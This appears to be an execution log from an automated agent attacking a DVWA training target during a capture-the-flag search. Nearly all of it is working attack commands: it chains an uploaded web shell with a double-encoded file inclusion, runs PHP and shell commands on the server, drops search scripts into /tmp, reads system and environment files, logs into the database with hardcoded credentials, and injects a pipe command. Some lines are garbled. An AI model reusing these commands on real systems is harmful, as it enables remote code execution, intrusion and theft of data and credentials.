| strings | grep -A2 "###" | head -10
2026-03-06 16:13:06,034 [INFO] 127.0.0.1 - - [06/Mar/2026 16:13:06] "POST /api/command
HTTP/1.1" 200 -
```

2026-03-06 16:13:41,789 [INFO] Executing command: # Include the flag file directly through the LFI - it'll execute as PHP with DVWA context
Path from /var/www/html/vulnerabilities/fi/: ../../hackable/flags/fi.php
Encoded: ..%252F..%252Fhackable%252Fflags%252Ffi.php

FLAG_ENCODED="..%252F..%252Fhackable%252Fflags%252Ffi.php"

curl -s -b /tmp/dvwa2.txt \
"http://100.113.75.28:8081/vulnerabilities/fi/?page=\${FLAG_ENCODED}" \
| strings | grep -i "FLAG\\flag\\nice\\{" | head -10
2026-03-06 16:13:41,858 [INFO] 127.0.0.1 - - [06/Mar/2026 16:13:41] "POST /api/command HTTP/1.1" 200 -
2026-03-06 16:13:45,380 [INFO] Executing command:
FLAG_ENCODED="..%252F..%252Fhackable%252Fflags%252Ffi.php"

Get full response to find the flag
curl -s -b /tmp/dvwa2.txt \
"http://100.113.75.28:8081/vulnerabilities/fi/?page=\${FLAG_ENCODED}" \
| strings | grep -v "^\$" | head -30
2026-03-06 16:13:45,447 [INFO] 127.0.0.1 - - [06/Mar/2026 16:13:45] "POST /api/command HTTP/1.1" 200 -
2026-03-06 16:13:49,915 [INFO] Executing command: SHELL_FILE="img_2b8e0aaa48.pht"
SESSION_DIR="custom_d78aa372606dba9554c1133268edcc33"
ENCODED_PATH="..%252F..%252Fhackable%252Fuploads%252F\${SESSION_DIR}%252F\${SHELL_FILE}"
BASE="http://100.113.75.28:8081/vulnerabilities/fi/?page=\${ENCODED_PATH}"

Read line 3 specifically using sed
curl -s -b /tmp/dvwa2.txt "\${BASE}&c=sed+-n+'3p'+/var/www/html/hackable/flags/fi.php" \
| strings | grep "####"
2026-03-06 16:13:49,986 [INFO] 127.0.0.1 - - [06/Mar/2026 16:13:49] "POST /api/command HTTP/1.1" 200 -
2026-03-06 16:13:57,942 [INFO] Executing command: SHELL_FILE="img_2b8e0aaa48.pht"
SESSION_DIR="custom_d78aa372606dba9554c1133268edcc33"
ENCODED_PATH="..%252F..%252Fhackable%252Fuploads%252F\${SESSION_DIR}%252F\${SHELL_FILE}"
BASE="http://100.113.75.28:8081/vulnerabilities/fi/?page=\${ENCODED_PATH}"

Try different commands - awk, head, tail, strings, grep
curl -s -b /tmp/dvwa2.txt "\${BASE}&c=grep+-i+'flag'+/var/www/html/hackable/flags/fi.php" \
| strings | grep "####"
2026-03-06 16:13:58,011 [INFO] 127.0.0.1 - - [06/Mar/2026 16:13:58] "POST /api/command HTTP/1.1" 200 -

2026-03-06 16:14:31,545 [INFO] Executing command: SHELL_FILE="img_2b8e0aaa48.pht"
SESSION_DIR="custom_d78aa372606dba9554c1133268edcc33"
ENCODED_PATH="..%252F..%252Fhackable%252Fuploads%252F\${SESSION_DIR}%252F\${SHELL_FILE}"

```
BASE="http://100.113.75.28:8081/vulnerabilities/fi/?page=${ENCODED_PATH}"
```

```
# Check what commands are available
```

```
curl -s -b /tmp/dvwa2.txt "${BASE}&c=which+php+awk+head+tail+strings+python3+python" \
| strings | grep "###"
```

```
2026-03-06 16:14:31,631 [INFO] 127.0.0.1 - - [06/Mar/2026 16:14:31] "POST /api/command
HTTP/1.1" 200 -
```

```
2026-03-06 16:14:39,428 [INFO] Executing command: SHELL_FILE="img_2b8e0aaa48.pht"
SESSION_DIR="custom_d78aa372606dba9554c1133268edcc33"
```

```
ENCODED_PATH="..%252F..%252Fhackable%252Fuploads%252F${SESSION_DIR}%252
F${SHELL_FILE}"
```

```
BASE="http://100.113.75.28:8081/vulnerabilities/fi/?page=${ENCODED_PATH}"
```

```
# Use PHP to read line 3 (0-indexed: line index 2)
```

```
CMD='php+-r+$lines=file("/var/www/html/hackable/flags/fi.php");echo+$lines[2];'
```

```
curl -s -b /tmp/dvwa2.txt "${BASE}&c=${CMD}" \
| strings | grep "###"
```

```
2026-03-06 16:14:39,468 [INFO] 127.0.0.1 - - [06/Mar/2026 16:14:39] "POST /api/command
HTTP/1.1" 200 -
```

```
2026-03-06 16:14:50,752 [INFO] Executing command: SHELL_FILE="img_2b8e0aaa48.pht"
SESSION_DIR="custom_d78aa372606dba9554c1133268edcc33"
```

```
ENCODED_PATH="..%252F..%252Fhackable%252Fuploads%252F${SESSION_DIR}%252
F${SHELL_FILE}"
```

```
BASE="http://100.113.75.28:8081/vulnerabilities/fi/?page=${ENCODED_PATH}"
```

```
# URL-encode the PHP command properly
```

```
CMD=$(python3 -c "import urllib.parse; print(urllib.parse.quote('php -r
\'\\$l=file(\'/var/www/html/hackable/flags/fi.php\');echo implode(\'\\',\\$l\');\'))")
echo "CMD: $CMD"
```

```
curl -s -b /tmp/dvwa2.txt "${BASE}&c=${CMD}" \
| strings | grep "###"
```

```
2026-03-06 16:14:50,921 [INFO] 127.0.0.1 - - [06/Mar/2026 16:14:50] "POST /api/command
HTTP/1.1" 200 -
```

```
2026-03-06 16:15:27,254 [INFO] Executing command: SHELL_FILE="img_2b8e0aaa48.pht"
SESSION_DIR="custom_d78aa372606dba9554c1133268edcc33"
```

```
ENCODED_PATH="..%252F..%252Fhackable%252Fuploads%252F${SESSION_DIR}%252
F${SHELL_FILE}"
```

```
# Build proper URL with all params
```

```
curl -s -b /tmp/dvwa2.txt \
```

```
--data-urlencode "c=php -r '\\$l=file('/var/www/html/hackable/flags/fi.php');echo
implode(' ',\\$l);'" \
```

```
--get \
```

```
"http://100.113.75.28:8081/vulnerabilities/fi/?page=${ENCODED_PATH}" \
```

```
| strings | grep -A10 "###" | head -15
```

```
2026-03-06 16:15:27,374 [INFO] 127.0.0.1 - - [06/Mar/2026 16:15:27] "POST /api/command
HTTP/1.1" 200 -
```

```
2026-03-06 16:15:31,890 [INFO] Executing command: SHELL_FILE="img_2b8e0aaa48.pht"
SESSION_DIR="custom_d78aa372606dba9554c1133268edcc33"
ENCODED_PATH="..%252F..%252Fhackable%252Fuploads%252F${SESSION_DIR}%252
F${SHELL_FILE}"
```

```
# The LFI response includes the fi.php content. Let me look at the full included page output
# by getting the page before the DOCTYPE
```

```
curl -s -b /tmp/dvwa2.txt \
  "http://100.113.75.28:8081/vulnerabilities/fi/?page=${FLAG_ENCODED}" 2>/dev/null \
  | python3 -c "
import sys
data = sys.stdin.read()
# Get everything before DOCTYPE
idx = data.find('<!DOCTYPE')
if idx > 0:
    print(data[:idx])
else:
    print(data[:500])
"
```

```
2026-03-06 16:15:31,969 [INFO] 127.0.0.1 - - [06/Mar/2026 16:15:31] "POST /api/command
HTTP/1.1" 200 -
```

```
2026-03-06 16:15:37,987 [INFO] Executing command: # The flag is on line 3. The page
includes it but "hides" line 3 output.
```

```
# Let me use our shell+PHP to read just line 3
```

```
SHELL_FILE="img_2b8e0aaa48.pht"
SESSION_DIR="custom_d78aa372606dba9554c1133268edcc33"
ENCODED_PATH="..%252F..%252Fhackable%252Fuploads%252F${SESSION_DIR}%252
F${SHELL_FILE}"
```

```
# Write a PHP script to file, then execute it
```

```
curl -s -b /tmp/dvwa2.txt \
  --data-urlencode 'c=php -r "$f=file(\"/var/www/html/hackable/flags/fi.php\"); foreach($f as
$i=>$l){echo $i.\"\": \"$l;}\"" \
  --get \
  "http://100.113.75.28:8081/vulnerabilities/fi/?page=${ENCODED_PATH}" \
  | python3 -c "
import sys
data = sys.stdin.read()
start = data.find('###')
end = data.find('###', start+3)
if start >= 0:
    print(data[start:end+3])
"
```

2026-03-06 16:15:38,110 [INFO] 127.0.0.1 - - [06/Mar/2026 16:15:38] "POST /api/command HTTP/1.1" 200 -

2026-03-06 16:15:47,859 [INFO] Executing command: SHELL_FILE="img_2b8e0aaa48.pht"
SESSION_DIR="custom_d78aa372606dba9554c1133268edcc33"
ENCODED_PATH="..%252F..%252Fhackable%252Fuploads%252F\${SESSION_DIR}%252F\${SHELL_FILE}"

Write a PHP script to /tmp and execute it

First write it

```
WRITE_CMD="php -r \"file_put_contents('/tmp/r.php', '<?php  
\\$f=file(\\\"/var/www/html/hackable/flags/fi.php\\\"); foreach(\\$f as \\$i=>\\$i){echo  
\\$i.\\\":\\t\\\".base64_encode(\\$i).\\\"\\n\\\":}\";\""
```

```
curl -s -b /tmp/dvwa2.txt \
```

```
--data-urlencode "c=$WRITE_CMD" \
```

```
--get \
```

```
"http://100.113.75.28:8081/vulnerabilities/fi/?page=${ENCODED_PATH}" \
```

```
| python3 -c "import sys; d=sys.stdin.read(); s=d.find('###'); e=d.find('###',s+3);
```

```
print(d[s:e+3] if s>=0 else 'not found')"
```

2026-03-06 16:15:47,980 [INFO] 127.0.0.1 - - [06/Mar/2026 16:15:47] "POST /api/command HTTP/1.1" 200 -

2026-03-06 16:16:06,623 [INFO] Executing command: SHELL_FILE="img_2b8e0aaa48.pht"
SESSION_DIR="custom_d78aa372606dba9554c1133268edcc33"
ENCODED_PATH="..%252F..%252Fhackable%252Fuploads%252F\${SESSION_DIR}%252F\${SHELL_FILE}"

Execute the written PHP script

```
curl -s -b /tmp/dvwa2.txt \
```

```
--data-urlencode "c=php /tmp/r.php" \
```

```
--get \
```

```
"http://100.113.75.28:8081/vulnerabilities/fi/?page=${ENCODED_PATH}" \
```

```
| python3 -c "
```

```
import sys, base64
```

```
d = sys.stdin.read()
```

```
s = d.find('###')
```

```
e = d.find('###', s+3)
```

```
content = d[s+3:e]
```

```
print(content[:2000])
```

Try to decode any base64 lines

```
for line in content.split('\n'):
```

```
    if ':' in line:
```

```
        parts = line.split('\t')
```

```
        if len(parts) > 1:
```

```
            try:
```

```
                decoded = base64.b64decode(parts[1].strip()).decode()
```

```
                print(f'Line {parts[0]}: {decoded}', end="")
```

```

except:
    pass
"
2026-03-06 16:16:06,741 [INFO] 127.0.0.1 - - [06/Mar/2026 16:16:06] "POST /api/command
HTTP/1.1" 200 -

2026-03-06 16:16:44,774 [INFO] Executing command: python3 -c "
import base64
line4 = 'NC4pl' + 'FRoZSBwb29s' + 'IG9uIH' + 'RoZSBYb29mIG1' + '1c3QgaGF' + '2ZSBh' +
'IGxIY' + 'Wsu'
print('Decoded line4:', base64.b64decode(line4).decode())
"
2026-03-06 16:16:44,842 [INFO] 127.0.0.1 - - [06/Mar/2026 16:16:44] "POST /api/command
HTTP/1.1" 200 -

2026-03-06 16:17:05,280 [INFO] Executing command: SHELL_FILE="img_2b8e0aaa48.pht"
SESSION_DIR="custom_d78aa372606dba9554c1133268edcc33"
ENCODED_PATH="..%252F..%252Fhackable%252Fuploads%252F${SESSION_DIR}%252
F${SHELL_FILE}"

# The flag file doesn't contain FLAG{} format directly - search WHOLE web root
# Also check /etc/passwd for flag, or look in other common CTF locations

curl -s -b /tmp/dvwa2.txt \
--data-urlencode "c=php -r \"echo shell_exec('find /var/www -name \"*.txt\" -o -name
\"*.flag\" -o -name \"flag*\" 2>/dev/null');\"\" \
--get \
"http://100.113.75.28:8081/vulnerabilities/fi/?page=${ENCODED_PATH}" \
| python3 -c "import sys; d=sys.stdin.read(); s=d.find('###'); e=d.find('###',s+3);
print(d[s:e+3])"
2026-03-06 16:17:05,603 [INFO] 127.0.0.1 - - [06/Mar/2026 16:17:05] "POST /api/command
HTTP/1.1" 200 -

2026-03-06 16:17:49,794 [INFO] Executing command: SHELL_FILE="img_2b8e0aaa48.pht"
SESSION_DIR="custom_d78aa372606dba9554c1133268edcc33"
ENCODED_PATH="..%252F..%252Fhackable%252Fuploads%252F${SESSION_DIR}%252
F${SHELL_FILE}"

# Read the interesting files: tmp.txt and custom_log.txt
curl -s -b /tmp/dvwa2.txt \
--data-urlencode "c=php -r \"echo file_get_contents('/var/www/html/hackable/tmp.txt');\"\" \
--get \
"http://100.113.75.28:8081/vulnerabilities/fi/?page=${ENCODED_PATH}" \
| python3 -c "import sys; d=sys.stdin.read(); s=d.find('###'); e=d.find('###',s+3);
print(repr(d[s:e+3]))"
2026-03-06 16:17:49,917 [INFO] 127.0.0.1 - - [06/Mar/2026 16:17:49] "POST /api/command
HTTP/1.1" 200 -

```


2026-03-06 16:18:10,523 [INFO] Executing command: SHELL_FILE="img_2b8e0aaa48.pht"
SESSION_DIR="custom_d78aa372606dba9554c1133268edcc33"
ENCODED_PATH="..%252F..%252Fhackable%252Fuploads%252F\${SESSION_DIR}%252F\${SHELL_FILE}"

Search for FLAG{ pattern in all readable files under /var/www

```
curl -s -b /tmp/dvwa2.txt \  
  --data-urlencode "c=php -r \"\$o=shell_exec('find /var/www/html -readable -type f  
2>/dev/null'); \$files=explode(\"\\n\",\$o); foreach(\$files as \$f){ if(empty(\$f)) continue;  
\\$c=@file_get_contents(\$f); if(\\$c && strpos(\\$c,'FLAG{')!==false){ echo \"FOUND: \\$f\\n\";  
echo \\$c; }}\" \  
  --get \  
  "http://100.113.75.28:8081/vulnerabilities/fi/?page=${ENCODED_PATH}" \  
  | python3 -c "import sys; d=sys.stdin.read(); s=d.find('###'); e=d.find('###',s+3);  
print(d[s:e+3])"
```

2026-03-06 16:18:10,643 [INFO] 127.0.0.1 - - [06/Mar/2026 16:18:10] "POST /api/command
HTTP/1.1" 200 -

2026-03-06 16:19:07,932 [INFO] Executing command: SHELL_FILE="img_2b8e0aaa48.pht"
SESSION_DIR="custom_d78aa372606dba9554c1133268edcc33"
ENCODED_PATH="..%252F..%252Fhackable%252Fuploads%252F\${SESSION_DIR}%252F\${SHELL_FILE}"

Write a PHP search script to /tmp

```
cat > /tmp/search_flag.php << 'PHPEOF'  
<?php  
$o = shell_exec('find /var/www/html -readable -type f 2>/dev/null');  
$files = explode("\n", $o);  
foreach($files as $f){  
    if(empty($f)) continue;  
    $c = @file_get_contents($f);  
    if($c && strpos($c,'FLAG{') !== false){  
        echo "FOUND IN: $f\n";  
        // Extract flag  
        preg_match('/FLAG\[^\]+\]/', $c, $m);  
        echo "FLAG: " . $m[0] . "\n";  
    }  
}  
echo "DONE\n";  
PHPEOF
```

Upload via write using the shell

```
curl -s -b /tmp/dvwa2.txt \  
  --data-urlencode "c=php -r  
\"copy('/var/www/html/hackable/uploads/custom_d78aa372606dba9554c1133268edcc33/im  
g_2b8e0aaa48.pht','/tmp/x.php');\" \  
  --get \  
  "http://100.113.75.28:8081/vulnerabilities/fi/?page=${ENCODED_PATH}" > /dev/null
```

```
# Write search script using the shell via file_put_contents
SCRIPT=$(cat /tmp/search_flag.php | python3 -c "import sys;
print(sys.stdin.read().replace('\n','\\n').replace('\"','\\x27'))")
```

```
curl -s -b /tmp/dvwa2.txt \
  --data-urlencode "c=php -r \"file_put_contents('/tmp/sf.php', base64_decode('$(base64 -w0
/tmp/search_flag.php)'))\";" \
  --get \
  "http://100.113.75.28:8081/vulnerabilities/fi/?page=${ENCODED_PATH}" \
  | python3 -c "import sys; d=sys.stdin.read(); s=d.find('###'); e=d.find('###',s+3);
print(d[s:e+3])"
2026-03-06 16:19:08,102 [INFO] 127.0.0.1 - - [06/Mar/2026 16:19:08] "POST /api/command
HTTP/1.1" 200 -
```

```
2026-03-06 16:19:27,642 [INFO] Executing command: SHELL_FILE="img_2b8e0aaa48.pht"
SESSION_DIR="custom_d78aa372606dba9554c1133268edcc33"
ENCODED_PATH="..%252F..%252Fhackable%252Fuploads%252F${SESSION_DIR}%252
F${SHELL_FILE}"
```

```
# Execute the search script
curl -s -b /tmp/dvwa2.txt \
  --data-urlencode "c=php /tmp/sf.php" \
  --get \
  "http://100.113.75.28:8081/vulnerabilities/fi/?page=${ENCODED_PATH}" \
  | python3 -c "import sys; d=sys.stdin.read(); s=d.find('###'); e=d.find('###',s+3);
print(d[s:e+3])"
2026-03-06 16:19:28,487 [INFO] 127.0.0.1 - - [06/Mar/2026 16:19:28] "POST /api/command
HTTP/1.1" 200 -
```

```
2026-03-06 16:20:25,726 [INFO] Executing command: SHELL_FILE="img_2b8e0aaa48.pht"
SESSION_DIR="custom_d78aa372606dba9554c1133268edcc33"
ENCODED_PATH="..%252F..%252Fhackable%252Fuploads%252F${SESSION_DIR}%252
F${SHELL_FILE}"
```

```
# Found in index.php - but the flag is likely the placeholder. Let me read that section of
index.php
```

```
cat > /tmp/read_flag.php << 'PHPEOF'
<?php
$c = file_get_contents('/var/www/html/index.php');
preg_match_all('/FLAG\[^\]]+\]/', $c, $m);
foreach($m[0] as $match) {
    echo "FLAG: $match\n";
}
// Also show context around FLAG
$pos = strpos($c, 'FLAG{');
if($pos !== false) {
    echo "\nCONTEXT:\n" . substr($c, max(0,$pos-100), 300) . "\n";
```

```
}  
PHPEOF
```

```
curl -s -b /tmp/dvwa2.txt \  
  --data-urlencode "c=php -r \"file_put_contents('/tmp/rf.php', base64_decode('$(base64 -w0  
/tmp/read_flag.php)'))\";\"\" \  
  --get "http://100.113.75.28:8081/vulnerabilities/fi/?page=${ENCODED_PATH}" > /dev/null
```

```
curl -s -b /tmp/dvwa2.txt \  
  --data-urlencode "c=php /tmp/rf.php" \  
  --get "http://100.113.75.28:8081/vulnerabilities/fi/?page=${ENCODED_PATH}" \  
  | python3 -c "import sys; d=sys.stdin.read(); s=d.find('###'); e=d.find('###',s+3);  
print(d[s:e+3])"  
2026-03-06 16:20:26,042 [INFO] 127.0.0.1 - - [06/Mar/2026 16:20:26] "POST /api/command  
HTTP/1.1" 200 -
```

```
2026-03-06 16:20:53,005 [INFO] Executing command: SHELL_FILE="img_2b8e0aaa48.pht"  
SESSION_DIR="custom_d78aa372606dba9554c1133268edcc33"  
ENCODED_PATH="..%252F..%252Fhackable%252Fuploads%252F${SESSION_DIR}%252  
F${SHELL_FILE}"
```

```
cat > /tmp/deepsearch.php << 'PHPEOF'  
<?php  
// Search in DB first  
require_once('/var/www/html/dvwa/includes/dvwaPage.inc.php');  
$db = dvwaDatabaseConnect();
```

```
// Check all tables for FLAG pattern  
$tables = ['users','guestbook','access_log','security_log'];  
foreach($tables as $t) {  
    $r = @mysqli_query($db, "SELECT * FROM $t");  
    if($r) {  
        while($row = mysqli_fetch_assoc($r)) {  
            foreach($row as $k=>$v) {  
                if(strpos($v,'FLAG{')!==false) {  
                    echo "DB TABLE $t COL $k: $v\n";  
                }  
            }  
        }  
    }  
}  
}
```

```
// Search filesystem more broadly  
$dirs = ['/var/www', '/tmp', '/home', '/root', '/etc'];  
foreach($dirs as $dir) {  
    $o = shell_exec("find $dir -readable -type f -size -100k 2>/dev/null");  
    $files = explode("\n", $o);  
    foreach($files as $f) {
```

```

        if(empty($f)) continue;
        $c = @file_get_contents($f);
        if($c && preg_match('/FLAG\[a-zA-Z0-9_\]+\]/', $c, $m)) {
            if($m[0] !== 'FLAG{something_about_flag}') {
                echo "FILE $f: ".$m[0]."\n";
            }
        }
    }
}
}
echo "SEARCH DONE\n";
PHPEOF

```

```

curl -s -b /tmp/dvwa2.txt \
  --data-urlencode "c=php -r \"file_put_contents('/tmp/ds.php', base64_decode('$(base64 -w0 /tmp/deepsearch.php)'));\"" \
  --get "http://100.113.75.28:8081/vulnerabilities/fi/?page=${ENCODED_PATH}" > /dev/null

```

```

curl -s -b /tmp/dvwa2.txt \
  --data-urlencode "c=php /tmp/ds.php" \
  --get "http://100.113.75.28:8081/vulnerabilities/fi/?page=${ENCODED_PATH}" \
  | python3 -c "import sys; d=sys.stdin.read(); s=d.find('###'); e=d.find('###',s+3); print(d[s:e+3])"
2026-03-06 16:20:53,278 [INFO] 127.0.0.1 - - [06/Mar/2026 16:20:53] "POST /api/command HTTP/1.1" 200 -

```

```

2026-03-06 16:21:04,331 [INFO] Executing command: SHELL_FILE="img_2b8e0aaa48.pht"
SESSION_DIR="custom_d78aa372606dba9554c1133268edcc33"
ENCODED_PATH="..%252F..%252Fhackable%252Fuploads%252F${SESSION_DIR}%252F${SHELL_FILE}"

```

```

cat > /tmp/deepsearch2.php << 'PHPEOF'
<?php
// Direct DB connect without DVWA functions
$db = @mysqli_connect("mysql-dvwa", "dvwa", "p@ssw0rd", "dvwa");
if(!$db) $db = @mysqli_connect("localhost", "dvwa", "p@ssw0rd", "dvwa");
if(!$db) $db = @mysqli_connect("127.0.0.1", "dvwa", "p@ssw0rd", "dvwa");

```

```

if($db) {
    echo "DB CONNECTED\n";
    // Check all tables including any hidden ones
    $r = mysqli_query($db, "SHOW TABLES");
    while($row = mysqli_fetch_array($r)) {
        $t = $row[0];
        echo "TABLE: $t\n";
        $r2 = mysqli_query($db, "SELECT * FROM `$t` LIMIT 20");
        if($r2) {
            while($row2 = mysqli_fetch_assoc($r2)) {
                foreach($row2 as $k=>$v) {

```

```

        if(stripos($v,'flag')!==false || stripos($v,'FLAG')!==false) {
            echo " COL $k: $v\n";
        }
    }
}
}
} else {
    echo "DB FAILED\n";
}

```

// Also check environment variables

```

echo "\nENV:\n";
foreach($_ENV as $k=>$v) {
    if(stripos($k,'flag')!==false || stripos($v,'FLAG')!==false) {
        echo "$k=$v\n";
    }
}

```

// Check /proc/1/environ

```

$e = @file_get_contents('/proc/1/environ');
if($e) {
    $e = str_replace("\0", "\n", $e);
    foreach(explode("\n",$e) as $line) {
        if(stripos($line,'flag')!==false) echo "PROC_ENV: $line\n";
    }
}

```

echo "DONE\n";

PHPEOF

```

curl -s -b /tmp/dvwa2.txt \
--data-urlencode "c=php -r \"file_put_contents('/tmp/ds2.php', base64_decode('$(base64
-w0 /tmp/deepsearch2.php));\"\"\" \
--get "http://100.113.75.28:8081/vulnerabilities/fi/?page=${ENCODED_PATH}" > /dev/null

```

```

curl -s -b /tmp/dvwa2.txt \
--data-urlencode "c=php /tmp/ds2.php" \
--get "http://100.113.75.28:8081/vulnerabilities/fi/?page=${ENCODED_PATH}" \
| python3 -c "import sys; d=sys.stdin.read(); s=d.find('###'); e=d.find('###',s+3);
print(d[s:e+3])"
2026-03-06 16:21:04,663 [INFO] 127.0.0.1 - - [06/Mar/2026 16:21:04] "POST /api/command
HTTP/1.1" 200 -
2026-03-06 16:21:11,133 [INFO] Executing command: SHELL_FILE="img_2b8e0aaa48.pht"
SESSION_DIR="custom_d78aa372606dba9554c1133268edcc33"
ENCODED_PATH="..%252F..%252Fhackable%252Fuploads%252F${SESSION_DIR}%252
F${SHELL_FILE}"

```

```
# Check the Command Injection module source - it might have its own flag
curl -s -b /tmp/dvwa2.txt
"http://100.113.75.28:8081/vulnerabilities/view_source.php?id=exec&security=custom" \
| python3 -c "
import sys, re, html
c = sys.stdin.read()
c = re.sub('<[^>]+>', '', c)
c = html.unescape(c)
print(c)
" | grep -v "^$" | grep -i "flag\|FLAG\|hidden\|secret" | head -10
2026-03-06 16:21:11,255 [INFO] 127.0.0.1 - - [06/Mar/2026 16:21:11] "POST /api/command
HTTP/1.1" 200 -
```

```
2026-03-06 16:22:37,994 [INFO] Executing command: SHELL_FILE="img_2b8e0aaa48.pht"
SESSION_DIR="custom_d78aa372606dba9554c1133268edcc33"
ENCODED_PATH="..%252F..%252Fhackable%252Fuploads%252F${SESSION_DIR}%252
F${SHELL_FILE}"
```

```
# Use command injection module directly to run shell commands
# First check exec source for what IP parsing allows
curl -s -b /tmp/dvwa2.txt
"http://100.113.75.28:8081/vulnerabilities/view_source.php?id=exec&security=custom" \
| python3 -c "
import sys, re, html
c = sys.stdin.read()
c = re.sub('<[^>]+>', '', c)
c = html.unescape(c)
# Print just the PHP code part
start = c.find('<?php')
if start >= 0:
    print(c[start:start+1500])
"
2026-03-06 16:22:38,130 [INFO] 127.0.0.1 - - [06/Mar/2026 16:22:38] "POST /api/command
HTTP/1.1" 200 -
```

```
2026-03-06 16:22:43,924 [INFO] Executing command: SHELL_FILE="img_2b8e0aaa48.pht"
SESSION_DIR="custom_d78aa372606dba9554c1133268edcc33"
ENCODED_PATH="..%252F..%252Fhackable%252Fuploads%252F${SESSION_DIR}%252
F${SHELL_FILE}"
```

```
# Check if flag is hidden in the command injection output specifically
# Try the exec module with pipe injection
curl -s -b /tmp/dvwa2.txt \
-X POST \
--data-urlencode "ip=127.0.0.1|id" \
--data-urlencode "Submit=Submit" \
"http://100.113.75.28:8081/vulnerabilities/exec/" \
| grep -i "uid\|result\|pre\|www" | head -5
```

2026-03-06 16:22:43,961 [INFO] 127.0.0.1 - - [06/Mar/2026 16:22:43] "POST /api/command HTTP/1.1" 200 -

2026-03-06 16:22:55,213 [INFO] Executing command: SHELL_FILE="img_2b8e0aaa48.pht"
SESSION_DIR="custom_d78aa372606dba9554c1133268edcc33"
ENCODED_PATH="..%252F..%252Fhackable%252Fuploads%252F\${SESSION_DIR}%252F\${SHELL_FILE}"

The flag must be stored somewhere specific. Let me search the entire filesystem more carefully.

Key locations: /flag, /flag.txt, /root/flag, environment, Docker secrets

```
cat > /tmp/final_search.php << 'PHPEOF'
```

```
<?php
```

```
$searches = [
```

```
    '/flag', '/flag.txt', '/flag.php', '/secret', '/secret.txt',  
    '/root/flag', '/root/flag.txt', '/root/secret',  
    '/home/flag', '/tmp/flag', '/opt/flag',  
    '/var/flag', '/etc/flag',  
    '/var/www/flag', '/var/www/html/flag',  
    '/var/www/html/flag.txt', '/var/www/html/flag.php',  
    '/var/www/html/.flag', '/var/www/html/secret.txt'
```

```
];
```

```
foreach($searches as $f) {
```

```
    if(file_exists($f)) {  
        echo "EXISTS: $f\n";  
        $c = @file_get_contents($f);  
        echo "CONTENT: $c\n";  
    }  
}
```

```
// Search by content in whole /
```

```
$r = shell_exec('find / -maxdepth 5 -readable -type f -name "*.txt" 2>/dev/null');
```

```
foreach(explode("\n",$r) as $f) {
```

```
    if(empty($f)) continue;  
    $c = @file_get_contents($f);  
    if($c && preg_match('/FLAG\[([a-zA-Z0-9_!@#%&^*]+\])/', $c, $m)) {  
        if($m[0] !== 'FLAG{something_about_flag}') {  
            echo "FOUND $f: ".$m[0]."\n";  
        }  
    }  
}
```

```
}
```

```
echo "COMPLETE\n";
```

```
PHPEOF
```

```
curl -s -b /tmp/dvwa2.txt \
```

```
--data-urlencode "c=php -r \"file_put_contents('/tmp/fs.php', base64_decode('$(base64 -w0 /tmp/final_search.php)'))\";\n\" \n\n--get \"http://100.113.75.28:8081/vulnerabilities/fi/?page=${ENCODED_PATH}\" > /dev/null
```

```
curl -s -b /tmp/dvwa2.txt \n\n--data-urlencode "c=php /tmp/fs.php" \n\n--get "http://100.113.75.28:8081/vulnerabilities/fi/?page=${ENCODED_PATH}" \n\n| python3 -c "import sys; d=sys.stdin.read(); s=d.find('###'); e=d.find('###',s+3); \nprint(d[s:e+3])"\n\n2026-03-06 16:22:55,687 [INFO] 127.0.0.1 - - [06/Mar/2026 16:22:55] "POST /api/command \nHTTP/1.1" 200 -\n\n2026-03-06 16:23:02,522 [INFO] Executing command: SHELL_FILE="img_2b8e0aaa48.pht" \nSESSION_DIR="custom_d78aa372606dba9554c1133268edcc33" \nENCODED_PATH="..%252F..%252Fhackable%252Fuploads%252F${SESSION_DIR}%252 \nF${SHELL_FILE}"
```

```
curl -s -b /tmp/dvwa2.txt \n\n--data-urlencode "c=php -r \"echo file_get_contents('/foothold/flag.txt');\n\" \n\n--get "http://100.113.75.28:8081/vulnerabilities/fi/?page=${ENCODED_PATH}" \n\n| python3 -c "import sys; d=sys.stdin.read(); s=d.find('###'); e=d.find('###',s+3); \nprint(d[s:e+3])"\n\n2026-03-06 16:23:02,645 [INFO] 127.0.0.1 - - [06/Mar/2026 16:23:02] "POST /api/command \nHTTP/1.1" 200 -
```